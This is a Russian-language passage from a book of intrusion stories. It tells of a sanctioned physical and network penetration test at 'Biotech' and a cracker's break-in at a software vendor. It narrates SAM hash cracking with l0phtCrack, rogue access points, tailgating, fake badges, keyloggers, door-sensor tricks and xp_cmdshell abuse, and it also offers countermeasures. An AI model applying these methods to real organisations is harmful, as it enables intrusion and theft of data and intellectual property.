План Дастина заключался в том, чтобы начать проверку «по-тихому» — с незначительной активности, постепенно развивая ее до тех пор, пока кто-нибудь ее не заметит и не подаст знак. Такой подход Дастин выработал на основе своей философии, которую он применяет в ходе тестирования, руководя специально сформированной для «мозгового штурма» группой ( red team —  см. прим. ред. к главе 2  ). «Я пытаюсь во время проверок прежде всего проанализировать оборонительную стратегию, которую применяет компания, и затем обратить ее против нее самой. Они думают: „Давайте поставим себя на место атакующих. Что мы можем им противопоставить?“ Это подход легко использовать против них же. Они никогда не поймут, как им действовать или реагировать, пока не поймут, что самое важное для них самих».
Трудно с этим не согласиться. Как пишет китайский философ Сун Тзу: познай своего врага и самого себя  — и ты победишь.
Все серьезные проверки с согласия заказчика используют те же типы атак, что были уже описаны в этой главе.
«В нашей методике мы выделяем четыре основных типа атак. Техническое проникновение в сеть, именно об этом мы в основном говорим. Социальная инженерия (что мы тоже рассматриваем), прослушивание и подглядывание через плечо. Р ы т ь е в помойках. И, наконец, физическое проникновение. В о т эти ч е т ы р е сферы».
  АТАКУЕМ  !
В первый день Дастин отправился в приемную компании Biotech. Справа от места, где сидели охранники, была комната отдыха и кафетерий, в который свободно могли проходить посетители. С другой стороны от охранников была расположена комната для переговоров, в которой и встречалась команда Дастина с руководством Biotech. Охранники расположены в центре, естественно, для того, чтобы контролировать все возможности доступа в компанию, но комната для переговоров им совсем не видна. Заходить в нее может кто угодно, и никто ему не скажет ни слова. Именно это и сделал Дастин со своими коллегами. После чего у них было сколько угодно времени для того, чтобы неспешно оглядеться. При этом никто не знал, что они там были.
Они обнаружили там работающий разъем для подключения к сети, вероятно, для удобства сотрудников компании, которые, естественно, хотят иметь доступ к корпоративной сети во время встреч. Подключив к этому разъему свой ноутбук, Дастин быстро нашел то, что ожидал: он получил доступ к сети за пределами корпоративного межсетевого экрана, что было практически открытым приглашением в систему компании.
Почти как в известном кинофильме «Миссия невыполнима» с тревожной музыкой, Дастин прикрепил к стене небольшое устройство для беспроводного доступа и воткнул его в разъем. Это устройство позволяло сотрудникам Дастина проникать в сеть Biotech с компьютеров, расположенных в машине или автобусе, припаркованных неподалеку от здания. Передача сигнала от такого WAP-устройства (Wireless Access Point) может происходить на расстоянии до ста метров. Используя направленную антенну с большим усилением, можно соединиться со спрятанным WAP даже с большего расстояния.
Дастин предпочитал точки беспроводного доступа, работающие на европейских каналах, что давало его команде определенное преимущество. поскольку эти частоты с меньшей вероятностью будут зафиксированы. «Это совсем не выглядело, как точка беспроводного доступа, поэтому не могло вызвать у людей подозрения. Я оставил ее почти на месяц, и никто ее не заметил и не убрал».
После установки таких устройств Дастин прикреплял к ним небольшую. но выглядевшую очень официально карточку с надписью «Собственность служб информационной безопасности. Не убирать» .
Поскольку на улице было необычно холодно, ни Дастин, ни его коллеги, носящие теперь джинсы и майки, чтобы не отличаться от сотрудников Biotech, не хотели мерзнуть, подолгу сидя в машине на парковке. Поэтому они с удовольствием восприняли тот факт, что Biotech предложил им использовать для работы небольшую неохраняемую комнату в соседнем здании. Ничего особенного, но комната была теплой и в пределах достижимости беспроводного устройства. Они всегда были на связи, что было не очень хорошо для Biotech.
Первая же пробная разведка начавшей работать группы выявила сорок компьютеров с Windows, на которых был административный аккаунт либо без пароля, либо с паролем «password». Другими словам и , у н и х не было вообще н и к а к о й безопасности, что, к а к отмечалось в прежних рассказах, к несчастью, является обычным делом для компьютеров, расположенных в пределах охраняемой зоны корпоративной сети. Компании обычно концентрируются на охране периметра, чтобы защититься от «плохих парней», но оставляют компьютеры внутри совершенно уязвимыми. Тот, кто проберется внутрь, может чувствовать себя, как дома.
Проникнув в один из таких компьютеров, Дастин извлек все пароли для каждого пользователя и пропустил этот файл через программу l0phtCrack.
  LOPHTCRACK   ЗА   РАБОТОЙ
На компьютере с ОС Windows пароли пользователей хранятся в зашифрованном виде (это обычно обозначается словом «hash» — мешанина) в области под названием SAM (Security Accounts Manager— управление безопасностью): пароли зашифрованы не в полном смысле этого слова, но с последующим перемешиванием «в одну сторону», что означает, что алгоритм шифрования может преобразовать текстовой пароль в зашифрованную форму, но не может вернуть зашифрованную форму обратно.
Windows содержит в S A M две версии «hash». Одна из них « L A N Manager hash» или L A N M A N , является старой версией, сохранившейся еще со времен до появления WindowsNT. Перемешивание LANMAN производится на основе заглавных букв пароля пользователя, который потом делится на две части из семи символов. Эту разновидность перемешивания гораздо легче разгадать, чем следующую версию N T L M ( N T Lan Manager), которая распознает и строчные буквы.
В качестве иллюстрации я приведу здесь реальный пример такого перемешивания для системного администратора одной из компаний, название которой я говорить не буду:
Administrator:500:AA33FDF289D20A799FB3AF221F3220DC:0AB C818FE05A120233838B9131F36BB1:::
Часть между двумя двоеточиями, которая начинается с «АА33» и заканчивается «20DC» — это LANMAN-перемешивание. Часть от «0АВС» до «6ВВ1» — это NTLM-перемешивание. Оба имеют длину в 32 символа, оба представляют собой один и тот же зашифрованный пароль, но первый легче расшифровать.
Поскольку большинство пользователей выбирают пароль, который является именем или простым словом, атакующие начинают обычно с запуска l0phtCrack (или другой программы, которую они используют) для проведения «словарной атаки» — проверки всех слов из словаря, не выбраны ли они в качестве пароля. Если эта первая попытка не увенчивается успехом, то программа переходит к «атаке грубой силы», когда перебираются все возможные сочетания букв (например, A A A , А А В , А А С … A B A … ABB, ABC и т.д.), затем пробуются всевозможные сочетания заглавных и строчных букв, цифр и символов.
Такая эффективная программа, как l0phtCrack может взламывать простые, очевидные пароли (которые используют более 90% всех пользователей компьютеров) буквально за секунды. Раскрытие более сложного пароля может занять часы или даже дни, но практически все пароли в конце концов поддаются.
  ДОСТУП
Вскоре Дастин раскрыл большинство паролей. «Я попробовал войти в первичный контроллер домена с паролем администратора, и это сработало. Они использовали один и тот же пароль на одном из компьютеров и в доменном аккаунте. Теперь у меня были права администратора во всем домене».
Первичный контроллер домена (PDC — primary domain controller) поддерживает главную базу данных всех пользовательских аккаун-тов. Когда пользователь входит в домен. PDC авторизирует его запрос с помощью информации, хранящейся в базе данных PDC. Эта база данных всех аккаунтов копируется в BDC (Backup domain controller — контроллер копирования домена) в качестве предосторожности на случай выхода из строя PDC. Эта архитектура существенно изменилась с выпуском Windows 2000. Более поздние версии Windows используют то, что у них называется «Активная директория», но для обратной совместимости с более старыми версиями Windows, у них есть по крайней мере одна система, которая действует как PDC для домена.
В руках Дастина были ключи от «королевства» Biotech, он получил доступ ко многим внутренним документам с пометкой «конфиденциально» или «только для внутреннего пользования». Интенсивно трудясь, Дастин провел долгие часы за сбором важной информации из секретных файлов о безопасности лекарств, где содержалось подробное описание побочных эффектов, вызываемых лекарствами, которые компания исследовала в то время. Доступ к этим файлам очень строго регулировался комитетом по контролю над лекарствами и продуктами питания, поэтому о проникновении в них в процессе проведения проверок должен был быть составлен специальный доклад для этого правительственного агентства.
Дастин получил доступ и к базе данных сотрудников, где содержались их полные имена, адреса электронной почты, телефонные номера, места работы, должности и т.п. Используя эти сведения, он мог выбрать мишень для следующей фазы атаки. Он выбрал системного администратора компании, который контролировал проведение проверок. «Я подумал, что хотя у меня уже было достаточно важной информации, надо показать им, что атака может идти в самых разных направлениях», то есть, что есть более одного пути для добычи информации.
Команда Callisma давно поняла, что если вы хотите проникнуть в охраняемую область, нет лучше метода, чем смешаться с группой разговаривающих сотрудников компании, возвращающихся с обеда. В отличие от утренних и вечерних часов, когда люди бывают раздраженными и усталыми, после обеда они всегда терпимы и расслаблены, чувствуя некоторую заторможенность, пока организм переваривает съеденный обед. Все разговоры доброжелательны, этим настроением буквально наполнена атмосфера. Любимый прием Дастина заключается в том, чтобы заметить кого-то, выходящего из кафе. Он идет впереди «жертвы» и пропускает его перед собой у самой двери. В девяти случаях из десяти, даже если эта дверь ведет в охраняемое помещение, «жертва» делает ответный жест и придерживает дверь. позволяя ему пройти вместе с собой. И он входит безо всяких проблем.
  ТРЕВОГА
После того, как мишень для атаки была выбрана, команда должна была выбрать способ физического проникновения в охраняемые помещения, чтобы иметь возможность прикрепить к выбранному компьютеру «фиксатор текстов» — устройство, которое фиксирует любую нажатую на клавиатуре кнопку, даже первые нажатия запуска компьютера перед загрузкой ОС. На компьютере системного администратора это помогло бы перехватить пароли для целого ряда систем в сети. Это означало бы и то, что проверяющие были бы в курсе всей переписки о попытках отследить их действия.
Дастин решил не рисковать и не заниматься прямым наблюдением за руками администратора, чтобы не быть пойманным. Пришлось прибегнуть к методам социальной инженерии. Проведя много времени в кафетерии и приемной, он хорошо рассмотрел бейдж сотрудника и решил сделать для себя такой же поддельный. С логотипом проблем не было — он просто скопировал его с Интернет-сайта компании и встроил в свой рисунок. Важно было, чтобы к его бейджу особо не приглядывались.
Некоторые офисы Biotech располагались в соседнем здании, где кроме них были и офисы других компаний. В приемной всегда находился охранник, включая ночное время и выходные дни, и обычный «карт-ридер» (электронный считыватель), который открывал дверь из приемной, когда сотрудники вставляли в него свои бейджи с правильным электронным кодом.
«В один из выходных я зашел туда и начал вставлять мой самодельный поддельный бейдж в карт-ридер. Он, естественно, не срабатывал.
Охранник подошел и, улыбаясь, своим бейджем открыл мне дверь. Я улыбнулся ему в ответ и прошел в дверь».
Не промолвив ни слова, Дастин успешно был пропущен охранником в охраняемый офис.
Однако перед офисом Biotech дверь была снабжена еще одним «карт-ридером». Народу в помещении не было.
«Не было видно никого, за кем можно было бы пристроиться и пройти. В поисках другого прохода я отправился к застекленной лестнице, которая вела на второй этаж, и решил попробовать пройти туда. Дверь открылась без проблем, для этого не потребовался бейдж. И вдруг во всем здании зазвучал сигнал тревоги. Случайно я попал на пожарную лестницу. Я прошел, и дверь захлопнулась за мной. На ее внутренней стороне я прочел надпись „Не открывайте эту дверь, раздастся сигнал тревоги“. Мое сердце забилось со скоростью двести ударов в минуту!».
  ПРИЗРАК
Дастин точно знал, в какую комнату ему надо попасть. В базе данных сотрудников, до которой проверяющие уже добрались. было указано место работы каждого сотрудника. Сигнал тревоги еще продолжал звучать в его ушах, но он направился к нужному месту.
Атакующий может получить информацию обо всех клавишах, нажимаемых на компьютере «жертвы», установив специальную программу, которая будет фиксировать каждый нажатый символ и периодически посылать электронное письмо с набранной информацией на определенный адрес. Однако, демонстрируя клиентам их уязвимость с разных сторон, Дастин хотел проделать ту же самую вещь физическими средствами.
Для этой цели он выбрал устройство под названием «ключ-призрак». Это устройство совершенно невзрачного вида, которое встраивается в соединение от клавиатуры к компьютеру и благодаря своим миниатюрным размерам практически всегда остается незамеченным. Такое устройство может запомнить до полумиллиона нажатий клавиш, что для типичного пользователя эквивалентно неделям работы. (Остается, правда, еще одна проблема: атакующему нужно еще раз прийти на то же место, чтобы вынуть «ключ-призрак» и прочесть его содержимое).
Дастину потребовалось несколько секунд для того, чтобы отключить кабель, соединяющий клавиатуру с компьютером, встроить в него «ключ-призрак» и присоединить кабель заново. Он старался убраться побыстрее. «Прозвучал сигнал тревоги, отсчет времени пошел, и мои руки немного тряслись. Я был близок к тому, чтобы быть пойманным. Ничего особенно плохого случиться не могло, потому что у меня была „индульгенция“, но даже и в такой ситуации адреналин во мне так и бурлил».
Установив «ключ-призрак», Дастин направился к лестнице, которая вывела его к посту безопасности. Для выхода пришлось применить еще одну порцию социальной инженерии.
«Я преднамеренно вышел из двери рядом с постом безопасности, вместо того, чтобы прятаться от охранника во время выхода, я направился прямо к нему. Я сказал: „Ради Бога извините, но это я вызвал весь этот переполох. Я еще никогда не работал в этом здании и не знал, что здесь все так устроено, прошу прощения“. Охранник спокойно сказал: „Нет проблем“.
Затем он взял трубку телефона, я полагаю, он позвонил кому-то, когда включился сигнал тревоги, теперь он предупреждал, что это была ложная тревога. Я уже не слышал их разговора».
  БЕЗ   ПРОБЛЕМ
Проверки близились к концу. Ответственные за безопасность в компании были вполне уверены в том, что проверяющие не смогут проникнуть в сеть или в офисы компании, никто из них не был задержан. Дастин очень постепенно поднимал «уровень активности», делая их присутствие все более и более заметным. Никакой реакции.
Забавляясь тем, как много они могли бы забрать, некоторые проверяющие входили в офисы компании, следуя за ее сотрудниками и волоча за собой огромные антенны, — при этом всячески демонстрируя, как их утомило это занятие. Некоторые сотрудники замечали все это, но наблюдали за происходящим, насвистывая.
Итак, безо всяких документов проверяющие всего за три часа проникли в первое, а потом и во второе охраняемое здание Biotech. Никто не сказал им ни единого слова. Никто даже не поинтересовался «А что это за штука?» Самой сильной реакции они дождались от охранника, который проводил их к двери, посмотрел на них недовольным взором и пошел на свой пост, даже не оборачиваясь.
Группа Callisma пришла к выводу, что в большинстве компаний любой человек с улицы с любым оборудованием в руках может безнаказанно бродить по зданию, при этом его никто не остановит, не попросит документов и не потребует объяснить своего поведения. Дастин с коллегами без малейших проблем делали, что им было угодно.
  ТРЮК   С   ОБОГРЕВАТЕЛЯМИ   РУК
REX (Request to Exit) — это обычная функция у выходных дверей многих компаний, таких как Biotech. В охраняемых помещениях, таких как исследовательская лаборатория, когда вы приближаетесь к выходу, то движение или тепло вашего тела приводят к срабатыванию определенных сенсоров, которые автоматически открывают дверь, так что вы можете выйти без малейшего затруднения: это особенно удобно для сотрудников, когда они тащат тяжелый прибор или поднос с пробирками. А вот чтобы попасть в ту же комнату снаружи. уже необходимо открыть замок с помощью электронного бейджа или набора цифр на специальном замке.
Дастин заметил, что целый ряд дверей в офисах Biotech с функцией REX имели внизу щель. Он задумался над тем, не удастся ли ему войти, обманув сенсоры. Если, находясь снаружи двери, он сможет имитировать тепло тела или движение, то сенсор будет обманут и дверь откроется.
«Я купил несколько обогревателей для рук, которые можно найти в любом универмаге. Их обычно носят в карманах верхней одежды, чтобы согревать руки в холодное время года. Я разогрел один, потом прикрепил его к прочной проволоке, подсунул под дверь и начал двигать взад и вперед, стараясь подвинуть поближе к сенсору. Как и следовало ожидать, замок открылся».
Вот и еще одна мера безопасности утратила смысл.
Я и сам делал нечто подобное в недалеком прошлом. Для того, чтобы открыть дверь при помощи сенсора, реагирующего не на тепло, а на движение, надо просунуть под дверь шарик, затем надуть его гелием, предварительно привязав к нитке, а затем двигать этот шарик вверх и вниз около сенсора. Этот простейший фокус открывает двери так же успешно, как и обогреватель рук у Дастина.
  КОНЕЦ   ПРОВЕРОК
«Свет в Biotech горел, но никого не было дома». Хотя ИТ-руковод-ство компании утверждало, что у них действует специальная система обнаружения вторжений, и у них есть даже несколько лицензий на использование подобных систем, Дастин считает, что системы либо не были не включены, либо ни одна из них реально ничего не проверяет.
По мере приближения проверок к концу «ключ-призрак» надо было извлекать из компьютера системного администратора. Он стоял там две недели и не был обнаружен. Поскольку устройство было расположено в одном из таких мест, куда сложнее всего проскользнуть за входящим. Дастин с коллегами решили действовать иначе. В самом конце обеденного перерыва они придержали дверь, как будто кто-то к ней стремительно направлялся. По сути дела это был единственный сложный момент на протяжении всего периода проверок. Сотрудник, открывший дверь своим бейджем, спросил, кто они такие, Дастин показал ему свой фальшивый бейдж и тот был полностью удовлетворен. Они не выглядели испуганными или взволнованными, поэтому сотрудник спокойно пошел в здание, а они двинулись туда, куда им было нужно, без дальнейших затруднений.
После проникновения в охраняемое помещение они направились в комнату для переговоров. Там на стене висел большой плакат со знакомой терминологией. Они поняли, что попали в комнату, где сотрудники Biotech проводили свои совещания по безопасности в области информационных технологий. Естественно, посторонние в эту комнату попадать не должны были. В этот момент их работодатель зашел в комнату и с удивлением уставился на них. Он спросил, что они здесь делают. Тем временем и другие сотрудники безопасности Biotech вошли в эту комнату, среди них был и тот, с помощью которого они проникли в здание.
«Он заметил нас и сказал начальнику: „Я как раз хотел сказать вам, что я заметил их по пути сюда и спросил, кто они такие“. Парень был чертовски горд тем, что спросил нас. Главное разочарование заключалось в том, что одного этого вопроса было явно недостаточно для того, чтобы убедиться в нашей легитимности».
Пришел в комнату и администратор, в чей компьютер был установлен «ключ-призрак». Дастин воспользовался этой возможностью, пошел к его компьютеру и вынул свой прибор.
  ОГЛЯДЫВАЯСЬ   НАЗАД
Самое удивительное, что в процессе проверок, когда Дастин с коллегами бороздили сеть компании вдоль и поперек, никто не заметил их присутствия. Несмотря на их поведение, которое Дастин характеризует, как «шум и крики», ни один из сотрудников компании не заметил их атак. Даже «громкое» сканирование сети для выявления потенциально уязвимых систем не было замечено.
«В конце проверок мы запускали свое сканирование, используя ресурс этой сети. Это было аналогично тому, как если бы мы кричали: „Эй, схватите нас!“
Проверяющие были просто потрясены тем, насколько пассивно вели себя представители компании, хотя они все знали, что команда хакеров будет прорываться в их сеть.
«Образно говоря, мы били в колокола, кричали, шумели, свистели и строили рожи. Никакой реакции! Ни одного сигнала тревоги. Это был просто блеск. Это была моя самая выдающаяся проверка за всю историю».
  АНАЛИЗ
Каждый, кто задумывался об этических аспектах работы консультантов в области безопасности, чья работа связана с проникновением (в буквальном и переносном смысле) в места, куда им не следует заглядывать, сочтет деятельность Mudge и Дастина просветительской.
Тогда как Mudge использовал в основном технические методы в описанных им атаках, Дастин активно пользовался методами социальной инженерии. Правда, он не чувствовал себя в них экспертом. Он не испытывал никаких неудобств с техническими аспектами проверок и даже получал удовольствие от них. А вот когда ему приходилось обманывать людей, глядя им в глаза, он чувствовал некоторую неловкость.
«Я пытался осознать, почему так происходит. Почему одно меня раздражает, а другое н е т ? Вероятно, э т о связано с тем, что н а с учили не лгать людям, н о никто никогда н е у ч и л компьютерной этике. В с е с о г л а с я т с я с тем, что гораздо комфортнее дурачить компьютер, чем обманывать реального человека».
Тем не менее, несмотря на чувство неловкости, он регулярно ощущал выброс адреналина, когда совершал акции социальной инженерии.
Что касается Mudge, я думаю, главное то, что в области взлома паролей он был истинным экспертом и написал популярную программу для этого. Во всех других областях он использовал методы, доступные каждому хакеру.
  КОНТРМЕРЫ
Mudge обнаружил правило работы межсетевого экрана, которое делало возможным соединение с любым TCP или UDP портом (с номерами выше 1024) любого пакета, исходящего из порта 53, который служит портом для DNS. Используя эту возможность, он смог вступить во взаимодействие с сервисом на компьютере-мишени, который случайно дал ему доступ к району загрузки, где он сумел удаленно загрузить файловую систему. Сделав это, он получил доступ к важной информации.
В качестве контрмеры необходимо тщательно проверить все правила межсетевого экрана, чтобы убедиться в том. что они соответствуют политике безопасности компании. Проводя проверку, надо всегда помнить, что любой человек может легко подделать номер порта-источника.
По этой причине межсетевой экран надо конфигурировать так, чтобы он разрешал соединяться только со специфическими сервисами на базе определенного набора портов.
Как не раз уже отмечалось в этой книге, очень важно убедиться, что все директории и файлы снабжены соответствующими разрешениями.
После того, как Mudge с коллегами благополучно проникли в систему, они установили программу-«вынюхиватель», чтобы захватывать имена пользователей и пароли. Эффективной контрмерой против этого может стать использование программ, основанных на криптографических протоколах, таких как ssh.
Во многих организациях есть специальные оборонные стратегии, касающиеся паролей или других способов авторизации для доступа к компьютерным системам, но о телефонных станциях или системах голосовой почты мало кто думает. Именно поэтому команда l0pht легко взломала несколько паролей на ящиках голосовой почты, принадлежащих руководителям компании, которые использовали совершенно банальные пароли типа 1111, 1234 или нечто подобное. Очевидная контрмера — это использование в системе голосовой почты разумных паролей. (Убедите сотрудников не использовать АТМ-соединение!).
Для компьютеров, содержащих важную информацию, очень рекомендуется метод конструирования паролей, описанный в главе, с использованием специальных непечатных символов, создаваемых с помощью Num Lock, ключа <Alt>и цифр.
Дастин смог свободно зайти в комнату переговоров компании Biotech, поскольку она была расположена в общедоступном месте. При этом в комнате был разъем для подключения, который соединял вас с внутренней сетью компании. Такие разъемы надо либо удалять, либо отделять внутреннюю сеть от таких общедоступных мест. Еще одна возможность — это внешняя система авторизации, которая требует для входа правильного имени пользователя и пароля перед тем. как разрешить доступ.
Один из способов снизить вероятность проникновения в помещения компании — это изменить то, что социальные психологи называют нормами вежливости. При помощи специальных тренировок надо научить сотрудников компании преодолевать психологический дискомфорт, который большинство из нас чувствует, спрашивая незнакомого человека без бейджа на территории компании, что он здесь делает и кто он такой. Сотрудников надо просто научить, как задавать подобные вопросы вежливо, особенно в тех случаях, когда ясно, что человек старается прорваться внутрь охраняемого помещения, Правило должно быть очень простым: если у человека нет бейджа, то отправляйте его к секьюрити, но никогда не позволяйте подобным типам проникнуть на территорию компании.
Изготовление фальшивых бейджей компании — очень простой способ для проникновения в помещение компании, которое считается защищенным. Даже охранники далеко не всегда рассматривают бейдж достаточно пристально, чтобы успеть разобраться — настоящий он или поддельный. Подделывать их станет труднее, если в компании будет введено правило (и будет отслеживаться его соблюдение!), что все сотрудники, работающие постоянно и по контракту, будут прятать свои бейджи, покидая помещение компании, лишая потенциальных злоумышленников возможности изучить их в подробностях.
Мы прекрасно знаем, что охранники никогда не будут изучать бейджи сотрудников слишком внимательно (что, кроме всего прочего, просто невозможно, когда в начале и в конце рабочего дня у проходной выстраивается вереница сотрудников). Поэтому нужны другие методы защиты от нежелательных пришельцев. Более высокую степень защиты обеспечивают электронные считыватели карточек. Но охранника надо научить задавать вежливые вопросы тем, чья карточка не распознается этим считывателем. Как произошло в только что рассказанной истории, проблемой может быть не ошибка считывателя, а попытка атакующего проникнуть в охраняемое помещение.
Тренировки сотрудников компании в области безопасности становятся все популярнее, но им не хватает последовательности. Даже в компаниях с очень обширными подобными программами недооценивается необходимость специальной подготовки менеджеров для контроля над всеми их подчиненными. Компании, где сотрудники не проходят специальных тренировок — это компании со слабой безопасностью.
  ПОСЛЕСЛОВИЕ
Не так часто читателям предоставляется возможность заглянуть в «творческие лаборатории» тех, кто внес значительный вклад в арсенал хакерских средств. Имена Mudge и l0phtCrack начертаны на скрижалях истории.
С точки зрения Дастина Дюкса из Callisma компании, которые просят провести у них проверку безопасности, часто идут наперекор своим собственным интересам. Вы никогда не узнаете, насколько уязвима ваша компания, пока не разрешите провести у вас полномасштабную проверку безо всяких ограничений, включая методы социальной инженерии и физического проникновения в сочетании с техническими атаками.

Глава 8.
  Ваша   интеллектуальная   собственность не   в   безопасности

Если какой-то прием не работает, я пробую что-то еще, поскольку я знаю: что-нибудь обязательно сработает. Что-нибудь всегда срабатывает. Надо просто найти, что.

    Эрик

Что самое ценное в любой компании? Это не компьютеры, не помещения или фабрики, это даже не то, что стало модным клише в некоторых корпорациях: «Наши самые ценные активы — это наши люди».
На самом деле все, что перечислено, может быть заменено. Не так просто, не без борьбы, но практически любая компания выживет после того, как сгорит фабрика или несколько ключевых сотрудников покинут ее пределы. А вот выжить после потери интеллектуальной собственности — это совсем другая история. Если кто-нибудь украдет конструкцию ваших продуктов, список клиентов, план выпуска новых товаров, результаты исследовательских работ — это будет катастрофа для компании.
Более того, если кто-то украдет хоть тысячу продуктов с вашего склада, тонну титана с производства или сотню компьютеров из офиса, вы сразу же узнаете об этом. Если кто-нибудь украдет вашу интеллектуальную собственность электронным образом, то есть, скопирует ее, вы никогда об этом не узнаете или узнаете, когда почувствуете последствия этой кражи.
Шокирующей новостью для вас может стать тот факт, что люди с хакерскими навыками крадут интеллектуальную собственность каждый день, часто из компаний, которые думают о безопасности не меньше, чем вы, о чем и рассказывается в этой главе.
Два героя двух следующих историй принадлежат к особой хакерской ветви под названием «кракеры», — так называют хакеров, которые взламывают программы при помощи реинжиниринга коммерческих приложений или простой кражи кодов этих приложений или лицензированных кодов, так что они могут использовать эти программы бесплатно и распространять их через лабиринт тайных кракерских сайтов. (Не надо их путать с программами «кракерами» для взлома паролей).
У кракеров есть три главных мотива для погони за определенным продуктом:
• Получить программу, которая их интересует, для пристального изучения.
• Принять вызов, чтобы понять, сможет ли он превзойти конкурента (обычно разработчика), — аналогично тому, как игроки стремятся превзойти оппонента за шахматной доской, в бридже или за покерным столом.
• Разместить программное обеспечение в Интернете, чтобы оно стало доступным другим обитателям виртуального мира бесплатно. Кракеры взламывают не только программы, но также и коды, используемые для создания лицензированных ключей.
Оба героя наших историй взламывают сайты производителей ПО, чтобы украсть у них коды программ и распространить их ключевые элементы в группах кракеров, чтобы они могли использовать это ПО бесплатно. Есть много людей с хакерскими способностями, которые занимаются тем же, и есть производители программ, которые не представляют, какой вред наносят им хакеры.
Кракеры существуют в темном, надежно спрятанном мире, где валютой является украденная программа — масштабы кражи интеллектуальной собственности могут ужаснуть любого нормального человека. Потрясающий последний акт этой истории подробно описан в конце главы в разделе «Распределение: мир кракеров».
Истории в этой главе сильно адаптированы для обычных читателей.
  ДВУХЛЕТНЕЕ   ХАКЕРСТВО
Эрик — тридцатилетний консультант по безопасности. Он жалуется: «Когда я сообщаю об уязвимости, я часто слышу: «Это ерунда.
Что за проблема? Какой от этого вред?». Его рассказ хорошо иллюстрирует часто забываемый трюизм: обычно люди гибнут от небольших ошибок.
Надо предупредить, что эта история может показаться людям с недостаточным знанием технического арсенала хакеров слишком трудной для восприятия. Это — некая хроника, описывающая трудовые будни кракеров. То, о чем здесь рассказывается, произошло совсем недавно. Итак, Эрик, как и многие другие герои этой книги, днем работает консультантом, который помогает бизнесу защитить свои информационные активы. Но зато ночью он превращается в хакера, проникающего в самые неожиданные места.
Эрик принадлежит к специальному типу хакеров, которые стремятся к цели с невероятным упорством и никогда не бросают своих попыток, даже если они  занимают месяцы или годы.
  РАБОТА   НАЧИНАЕТСЯ
Несколько лет назад Эрик и еще несколько хакеров собирали различные типы программ и, в конце концов, достигли такого состояния. когда они стали «собственниками кодов» всех основных программ с одним единственным исключением. «Это была последняя программа, которой у меня не было, — объясняет Эрик, — и я не знаю почему, но мне было просто суперважно добраться до нее». Я прекрасно понимаю эту его страсть. Эрик в душе — охотник за трофеями и чем ценнее программа, тем крупнее трофей.
Это задача заводила Эрика больше, чем он мог признаться себе. «Есть несколько сайтов, на которые я хочу попасть, но они действительно трудны по некоторым причинам», — просто объясняет он. Я могу понять и эту его эмоцию.
Он начал обычным способом, « с о сканирования портов на Интернет-сервере, — это первое место, куда я заглядываю, когда пытаюсь проникнуть на Интернет-сервер. Обычно там есть много интересного. Но на этот раз я не мог ничего найти». Начиная атаку, хакеры обычно подбираются к мишени осторожно, чтобы избежать сигналов тревоги и не быть замеченными администратором. Это особенно актуально в наши дни, когда многие компании пользуются системами обнаружения вторжения, чтобы заметить сканеры портов и другие типы хакерских инструментов, которыми обычно пользуются атакующие.
Эрик: «Я искал несколько портов, которые должны были стать для меня интересными мишенями». Он охотился на список номеров портов, которые используются для Интернет-сервера, терминальных сервисов, Microsoft SQL-сервера, Microsoft VPN. NetBIOS, почтового сервера (SMTP) и других целей.
На сервере Windows, порт 1723 (как отмечалось в главе 7) обычно используется для протокола, известного, как туннель «точка-точка», который является реализацией V P N компанией Microsoft и использует авторизацию на базе Windows, Эрик вспоминал, что пробуя порт 1723, он «понял, какую роль играет сервер».
Он даже не пытался скрывать свою личность на этом этапе, поскольку «компании так часто подвергаются сканированию в наши дни, что на это никто не обращает внимания. Одно сканирование среди сотни тысяч таких же ничего не значит».
(Оценка Эриком невысокой степени риска быть обнаруженным и идентифицированным базируется на его авантюрном предположении, что это сканирование портов будет похоронено в «шуме» современного Интернета. Действительно, сетевой администратор компании-мишени может быть слишком загруженным или ленивым для того, чтобы проверять все записи об активности в сети, но всегда есть шанс, что он займется именно этим. Более осторожные хакеры стремятся не рисковать даже в такой малости).
Несмотря на весь риск, в этом случае сканирование портов не выявило ничего полезного. Далее, используя стандартную программу. которая работала как сканер CGI (common gateway interface), он обнаружил log-file, созданный W SFTP-cepвepом , который содержал, кроме всего прочего, список имен файлов, загружаемых на сервер. Он был аналогичен любым другим распечаткам работы FTP-серве-ров, говорит Эрик, «за исключением того, что этот список хранился в каждой директории, файлы которой были загружены», так что, когда вы видели имя файла в списке, который выглядел интересно, то он находился именно здесь — вам не надо было охотиться за ним.
Эрик проанализировал FTP-записи и обнаружил имена файлов, которые были загружены в директорию «/include», где обычно хранились файлы типа «.inc» — программные функции общего типа, которые взяты из других модулей кодов. В Windows 2000 по умолчанию эти файлы не были защищены. После тщательного просмотра списка файлов в log Эрик использовал свой Интернет-браузер, чтобы просмотреть коды в некоторых файлах, которые, по его мнению, могли содержать важную информацию. Специальное внимание он уделял файлам, которые могли содержать пароли резервного сервера баз данных. И случайно он наткнулся на нечто интересное.
«В тот момент», — вспоминает Эрик, — «я уже сделал десяток запросов на Интернет-сервер и ничего не мог там найти». Хотя находка паролей базы данных и была восхитительной, он быстро понял, что на этой машине нет сервера баз данных.
С этого момента ситуация стала «интересной».
«Я ничего не мог найти на том сервере, но у меня была специальная программа, которая перебирала возможные имена узлов на основе списка общеупотребительных имен узлов — как gateways, backup, test и т.д. плюс имя домена. Она перебирала список общеупотребительных имен узлов, чтобы убедиться, какие имена узлов существуют в этом домене.
Люди очень предсказуемы в выборе имен узлов, поэтому очень просто найти серверы».
Отыскать серверы было просто, но это по-прежнему не привело его никуда. Затем его озарило: компания расположена не в США. Поэтому «я начал добавлять в конце расширения различных стран и опять перепробовал все названия узлов, которые уже отыскал при помощи моего сканирующего средства». Например, для японской компании это выглядело бы так:
  hostname.companyname.com.jp
Это позволило ему отыскать сервер архивирования и почтовый сервер. Он попал на них с помощью паролей, которые он обнаружил в файлах источников (.inc) в «include». Пароль для сервера Microsoft SQL был найден в директории администратора ( « s a » ) . Он смог выполнять команды при помощи стандартной процедуры (x pcmdshell) , которая позволяла ему запускать shell-команды там, где работал SQL-сервер, обычно в привилегированном режиме. И — удача! Это дало ему полный доступ к Интернет/почтовому серверу.
Эрик немедленно начал рыться в директориях в поисках копий кодов и других ценностей. Его главной целью было найти очень секретную программу, используемую для производства лицензионных ключей для пользователей, которая обычно называется генератором ключей или «keygen». Сначала надо было собрать как можно больше информации о системе и ее пользователях. Все собранные интересующие его сведения Эрик записывал в таблицу Excel, где классифицировал пароли, IP-адреса, имена узлов, какие сервисы были доступны через открытые порты и т.д.
